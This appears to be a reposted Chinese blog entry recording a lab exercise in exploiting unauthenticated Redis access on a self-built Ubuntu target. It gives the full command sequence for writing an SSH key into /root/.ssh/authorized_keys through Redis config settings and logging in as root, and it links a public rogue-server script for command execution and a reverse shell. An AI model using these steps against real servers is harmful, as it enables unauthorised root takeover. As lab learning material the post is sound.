zoukankan      html  css  js  c++  java
  • 从redis未授权访问到获取服务器权限

    从redis未授权访问到获取服务器权限

    好久没写博客了,博客园快荒芜了。赶紧再写一篇,算是一个关于自己学习的简要的记录把。

    这里是关于redis未授权访问漏洞的一篇漏洞利用:

    首先是redis,靶场搭建:

    先是搭建ubuntu靶机,可参考这一篇文章:

    https://zhuanlan.zhihu.com/p/141033713

    全部安装好了之后,安装redis服务,这中间会有很多工具需要自行安装,比如gcc,比如make,按照提示要求自行安装就行了,ubuntu安装还是要比其他linux简单的。

    安装redis服务:

    安装redis服务也不需要重复造轮子了。这位大佬已经写的非常清楚了,参照:

    https://www.cnblogs.com/bmjoker/p/9548962.html

    安装好了之后:

    redis-server /etc/redis.conf   启动redis服务。注意,一定要用root用户启动。

    启动之后,这个redis未授权访问靶机就算搭建完成了。

    漏洞利用:

    如果redis是以root的身份运行,且还是以未授权的方式暴露在公网上,那么攻击者就可以通过redis给root账户写入ssh公钥文件,然后通过自己的私钥连接redis服务器,以root用户身份直接登录服务器。

    下面是漏洞利用过程:

    首先本地生成一对公私钥,使用命令:

    ssh-keygen -t rsa

    于是乎,就会在你的服务器上的.ssh文件夹下生成2个文件,如下:一个公钥,一个私钥:

     将生成的公钥的内容前后添加3个 ,即3个回车,保存到一个txt文件中。

     然后将该txt中的内容写入redis:

    cat test.txt | redis-cli -h 192.168.145.135 -x set ok

    登录redis服务器:

    redis-cli -h 192.168.145.135

    config get dir命令可以得到redis的备份路径

    更改redis备份路径为ssh公钥存放目录,即/root/.ssh:

    config set dir /root/.ssh

    然后设置上传公钥的备份文件名字为authorized_keys:

    config set dbfilename authorized_keys

    然后

    save

    这时,就可以通过ssh -i id_rsa root@192.168.145.135以私钥的方式远程连接redis服务器了。

    上述的漏洞利用方法是必须要求redis服务的运行权限是root权限的,所以比较苛刻。其实,非root用户的redis4.x-5.x版本的redis服务有直接的命令执行漏洞,可以直接那来使用:

    使用脚本:

    https://github.com/vulhub/redis-rogue-getshell

     使用该脚本即可直接在redis服务器上执行命令,进而反弹shell。

  • 相关阅读:
    常规排序算法 : 冒泡排序
    console.log(([])?true:false); console.log(([]==false?true:false)); console.log(({}==false)?true:false)
    近况
    正向代理和反向代理
    Angular项目目录结构
    模块化Vs组件化
    模块化开发——高内聚低耦合
    20190608笔试题のCSS-属性继承
    20190527-JavaScriptの打怪升级旅行 { 语句 [ 声明 ,变量 ] }
    20190430-Bootstrapの组件
  • 原文地址:https://www.cnblogs.com/scivous/p/15086995.html
Copyright © 2011-2022 走看看